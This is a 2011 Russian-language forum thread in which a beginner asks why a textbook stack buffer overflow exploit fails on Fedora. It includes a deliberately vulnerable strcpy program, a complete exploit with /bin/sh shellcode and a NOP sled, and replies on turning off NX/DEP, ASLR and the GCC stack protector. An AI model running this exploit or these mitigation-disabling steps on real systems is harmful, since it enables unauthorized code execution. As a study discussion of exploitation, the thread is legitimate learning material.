Переполение буффера. (не получается искуствеено сделать)

Тема в разделе "WASM.UNIX", создана пользователем serega393, 29 мар 2011.

  1. serega393

    serega393 New Member

    Публикаций:
    0
    Регистрация:
    28 июн 2010
    Сообщения:
    13
    Здаравсвуйте. Сейчас я изучаю технику переполнения буффера. Начал с Linux. Дист. Fedora 14.
    Читаю книгу Джона Эрикстона. Хакинг. Исскуство эксплоита.

    Делаю всё как написано.

    Пример уязвимой программы.
    Код (Text):
    1. int main(int argc, char *argv[])
    2. {
    3.     char buffer[500];
    4.     strcpy(buffer, argv[1]);
    5.     return 0;
    6. }
    А вот сам эксплоит

    Код (Text):
    1. #include <stdlib.h>
    2.  
    3. char shellcode[] =
    4. "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
    5. "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
    6. "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
    7. "\x68";
    8.  
    9. unsigned long sp()
    10. {
    11.     __asm__("movl %esp, %eax");
    12. }
    13.  
    14. int main(int argc, char *argv[])
    15. {
    16.     int i, offset;
    17.     long esp, ret, *addr_ptr;
    18.     char *buffer, *ptr;
    19.  
    20.     offset = 0; //Zadat' smeshenie 0
    21.     esp = sp(); // Pomestit' tekushiy ukazatel' steka v esp
    22.     ret = esp - offset; // Mu hotim perepisat' adrres vosvrata
    23.    
    24.     printf("Stack pointer (ESP) : 0x%x\n", esp);   
    25.     printf("Offset from ESP : 0x%x\n", offset);
    26.     printf("Desired Return Addr : 0x%x\n", ret);
    27.  
    28.     // Vudelit dla buffera 600 baytov (v kuche)
    29.     buffer = malloc(600);
    30.  
    31.     // Zapolnit ves' massiv nuzhnum addresom vozvrata
    32.     ptr = buffer;
    33.     addr_ptr = (long *) ptr;
    34.     for(i = 0; i < 600; i+=4)  
    35.     {
    36.         *(addr_ptr++) = ret;
    37.     }  
    38.  
    39.     // Zapolnit' pervue 200 bayt buffera komandami NOP
    40.     for(i = 0; i < 200; i++)
    41.     {
    42.         buffer[i] = '\x90';
    43.     }
    44.    
    45.     // pomestit' shellcode posle cepochki NOP
    46.     ptr = buffer + 200;
    47.     for(i = 0; i < strlen(shellcode); i++)
    48.     {
    49.         *(ptr++) = shellcode[i];
    50.     }
    51.    
    52.     // Zavershit' strochky
    53.     buffer[600-1] = 0;
    54.    
    55.     // Teprer' vuzuvaem programmu vuln peredav v kachestve argumetna nash buffer
    56.     execl("./vuln", "vuln", buffer, 0);
    57.  
    58.     free(buffer);
    59.  
    60.     return 0;
    61. }
    Я не понимаю, почему не работает. Делаю всё по книге. Помогите пожалуйсто, вы тут единственные кто может помочь. Пожалуйсто...
    В консоле выдает:

    Все исходники и откомпиленые исходники приложены.
     
  2. Ursus

    Ursus Member

    Публикаций:
    0
    Регистрация:
    15 мар 2006
    Сообщения:
    238
    Адрес:
    Russia
    [offtop] Это Джон Эрикстон учит ТАК писать комментарии?

     
  3. featurelles

    featurelles New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2009
    Сообщения:
    562
    serega393
    Отпиши номер страницы с примером..посмотрю.
     
  4. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    DEP, скорее всего: на всех новых системах стек уже давно не исполняемый. Отключить поддержку NX-бита можно через параметр "noexec", который ядру при загрузке указывается.
     
  5. serega393

    serega393 New Member

    Публикаций:
    0
    Регистрация:
    28 июн 2010
    Сообщения:
    13
    Страница 37, посмотри пожалуйсто)
    Подскажите пожалуйсто, как придать этот параметр ядру. Помогите плиз, я Вас знаю, вы один из легендарных хакеров ( правдо под Windows)) )
     
  6. featurelles

    featurelles New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2009
    Сообщения:
    562
    serega393
    Ща посмотрю.


    Я чуть со стула не упал.
     
  7. serega393

    serega393 New Member

    Публикаций:
    0
    Регистрация:
    28 июн 2010
    Сообщения:
    13
    Я чё смешного? ты не знаешь этого парня?

    п.с. я примеры откомпиленые приложил, и сорцы. Потесть плиз.
     
  8. featurelles

    featurelles New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2009
    Сообщения:
    562
    serega393
    Примеры ща гляну..
    а про этого парня) расскажи)))... интересно послушать.
     
  9. serega393

    serega393 New Member

    Публикаций:
    0
    Регистрация:
    28 июн 2010
    Сообщения:
    13
    http://forum.antichat.ru/member.php?u=18751
     
  10. featurelles

    featurelles New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2009
    Сообщения:
    562
    Запуск выдал это.
    Изменил код для проверки в exploit..
    При переполнении в 4 байта..ошибок нет.

    Но при memset 610..
    выдаёт это
    Пробуй делать переполнение не больше 4 байт.
     
  11. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    Нужно отредактировать конфиг системного загрузчика. Что там у вас в федоре по умолчанию используется - я не в курсе, но GRUB обычно хранит настройки в /boot/grub/menu.lst
    Полное описание параметров ядра доступно в стандартной документации: http://www.kernel.org/doc/Documentation/kernel-parameters.txt
     
  12. featurelles

    featurelles New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2009
    Сообщения:
    562
    serega393
    Перестаём обсуждать Cr4sh ....
     
  13. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    Собственно, вот и то, о чём я говорил - стек не исполняемый, так что топикстартеру, что бы получить исполнение шеллкода, нужно или noexec отключать, или атаки типа ret2libc осиливать (правда, сходу ret2libc может быть сложным для новичка, поэтому для начала таки лучше с классическим эксплойтингом переполнений разобраться).
     
  14. serega393

    serega393 New Member

    Публикаций:
    0
    Регистрация:
    28 июн 2010
    Сообщения:
    13
    Спасибо за ответы. Завтро буду разбираться, потом отпишу. А щас спать...
     
  15. Satsura

    Satsura S4(uR4 __r00tw0rm__

    Публикаций:
    0
    Регистрация:
    22 апр 2010
    Сообщения:
    374
    Адрес:
    Узбекистон, бляать!!11 :D
    не буду повторяться , но просто дополню современные никс дистры юзают не только DEP, но и кучу различных защит NX, ASLR, etc (;
    все приложения, как и сообственно ядро ОС, компилится с защитой стека от переполнения, если точнее то в gcc существует прямая привязка к либц, которая предотвращает переполнение. Чтобы отключить защиту стека при компиляции , достаточно добавить опцию к gcc:
    -fno-stack-protector

    RTFM
     
  16. serega393

    serega393 New Member

    Публикаций:
    0
    Регистрация:
    28 июн 2010
    Сообщения:
    13
    Снова добрый день, короче я разобрался с неисполняемым стеком. Нагуглил данный способ для этого
    Короче я на тот пример из книги призабил, нашёл другую статью

    http://www.securitylab.ru/contest/212095.php

    По ней получилось с горем пополам.
     
  17. Satsura

    Satsura S4(uR4 __r00tw0rm__

    Публикаций:
    0
    Регистрация:
    22 апр 2010
    Сообщения:
    374
    Адрес:
    Узбекистон, бляать!!11 :D
    >>Снова добрый день, короче я разобрался с неисполняемым стеком. Нагуглил данный способ для этого
    >># sysctl -a | grep-E 'randomize|shield'
    >>Смотрим значения переменных:
    >>kernel.exec-shield = 1
    >>kernel.exec-shield-randomize = 2
    >>Если переменные не нулевые, добавляем, указанные ниже строки, в /etc/sysctl.conf:
    >>kernel.exec-shield = 0
    >>kernel.exec-shield-randomize = 0
    >>Перегружаемся или выполняем команду:
    >>/sbin/sysctl -p /etc/sysctl.conf

    - ну вот зачем, ЗАЧЕМ ты полез в ядро ?.... я же тебе скинул опцию для отключения dep в gcc.... вообще так глупо делать.... надеюсь ты не на рабочем серваке это отрабатываешь (%
     
  18. overxor

    overxor Dmitriy

    Публикаций:
    0
    Регистрация:
    3 апр 2010
    Сообщения:
    2
    Все он правильно сделал.
    А то что ты скинул отключает конарейку(conary) в программе.
     
  19. Satsura

    Satsura S4(uR4 __r00tw0rm__

    Публикаций:
    0
    Регистрация:
    22 апр 2010
    Сообщения:
    374
    Адрес:
    Узбекистон, бляать!!11 :D
    qq_h4xx0r );